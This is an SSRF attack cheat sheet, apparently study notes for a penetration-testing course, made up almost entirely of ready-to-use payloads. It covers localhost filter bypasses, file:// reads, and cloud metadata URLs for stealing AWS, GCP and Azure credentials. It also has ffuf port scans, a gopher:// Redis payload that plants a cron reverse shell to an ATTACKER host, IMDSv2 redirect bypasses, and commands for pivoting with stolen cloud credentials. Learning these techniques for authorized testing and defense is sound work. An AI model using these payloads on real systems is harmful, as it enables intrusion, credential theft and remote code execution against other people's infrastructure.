SSRF
Server-Side Request Forgery from the CWES path: reach internal services, read local files, hit cloud metadata (AWS/GCP/Azure), bypass IP filters, and port-scan localhost. Every payload separated.
Detection
Step 1 — Identify URL-fetching parameters
In Burp Proxy → HTTP history, look for parameters that look like they fetch a remote resource. Common names:
url= dataserver= webhook= callback= redirect= next= dest=
uri= path= image= img= src= fetch= load= file= link=
Also check: HTTP headers like Referer, X-Forwarded-For, Origin, and JSON body fields like "endpoint", "host", "target".
Step 2 — Confirm with Burp Collaborator (out-of-band)
Send the request to Repeater. Replace the URL value with your Burp Collaborator domain:
url=http://YOUR_COLLABORATOR_DOMAIN
Click Poll now in the Collaborator tab. If you receive a DNS lookup or HTTP request → the server is making outbound requests with your input → SSRF confirmed.
Step 3 — Test localhost access
url=http://127.0.0.1
url=http://localhost
url=http://localhost:80/admin
A different response (200 vs 403, or internal content) compared to a non-existent host confirms the server-side request is reaching internal services.
Step 4 — Blacklist bypass (if direct IPs are blocked)
http://2130706433 ← decimal representation of 127.0.0.1
http://0x7f000001 ← hex
http://127.1
http://127.0.1
http://[::1] ← IPv6 localhost
http://localhost.attacker.com ← DNS resolves to 127.0.0.1
Where to inject
Parameters that fetch a URL server-side:
url= dataserver= webhook= callback= redirect= next= dest= uri= path= image= img= src= fetch=
Reach internal services
Hit an internal-only web service:
http://127.0.0.1/admin
Read a local file:
file:///etc/passwd
SSRF to Redis via dict:
dict://127.0.0.1:6379/info
Cloud metadata
AWS - steal IAM credentials:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP - service-account token (needs Metadata-Flavor: Google header):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure - OAuth token:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
IP filter bypass
All of these resolve to 127.0.0.1:
http://127.1/
http://2130706433/
http://0x7f000001/
http://[::1]/
Internal port scan
Fuzz ports through the SSRF (open vs closed gives a different error):
ffuf -w ./ports.txt -u http://IP/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
Internal endpoint fuzzing
Find hidden endpoints on an internal host:
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://TARGET/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://internal.htb/FUZZ.php&date=2024-01-01" -fr "Server at internal.htb Port 80"
Blind SSRF
Confirm with a listener callback:
nc -lnvp 8000
Point the SSRF at your listener:
http://OUR_IP:8000/test
Gopher Protocol — SSRF to RCE
gopher:// sends raw TCP bytes — use it to interact with backend services that don’t speak HTTP.
Redis RCE via Gopher
Redis on 6379/tcp, unauthenticated — write a cron job:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A*/1 * * * * /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
Generate payloads with Gopherus:
git clone https://github.com/tarunkant/Gopherus
python gopherus.py --exploit redis
Memcached via Gopher
gopher://127.0.0.1:11211/_%0d%0aset%20key%200%200%205%0d%0avalue%0d%0a
AWS IMDSv2 Bypass
IMDSv2 requires a PUT token — simple GET-based SSRF won’t steal credentials directly.
If SSRF supports PUT + custom headers
PUT http://169.254.169.254/latest/api/token
TTL-Seconds: 21600
Then use the returned token:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN
If only GET — redirect chain bypass
Host a redirect on your server (302 → http://169.254.169.254/latest/meta-data/...). The server follows the redirect carrying its own headers.
Or abuse an open redirect on a trusted domain:
url=https://trusted.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Cloud Pivot Chains
AWS: stolen IAM credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances --region us-east-1
aws secretsmanager list-secrets
aws lambda list-functions
GCP: stolen service account token
curl -H "Authorization: Bearer TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"
Azure: stolen managed identity token
curl -H "Authorization: Bearer TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"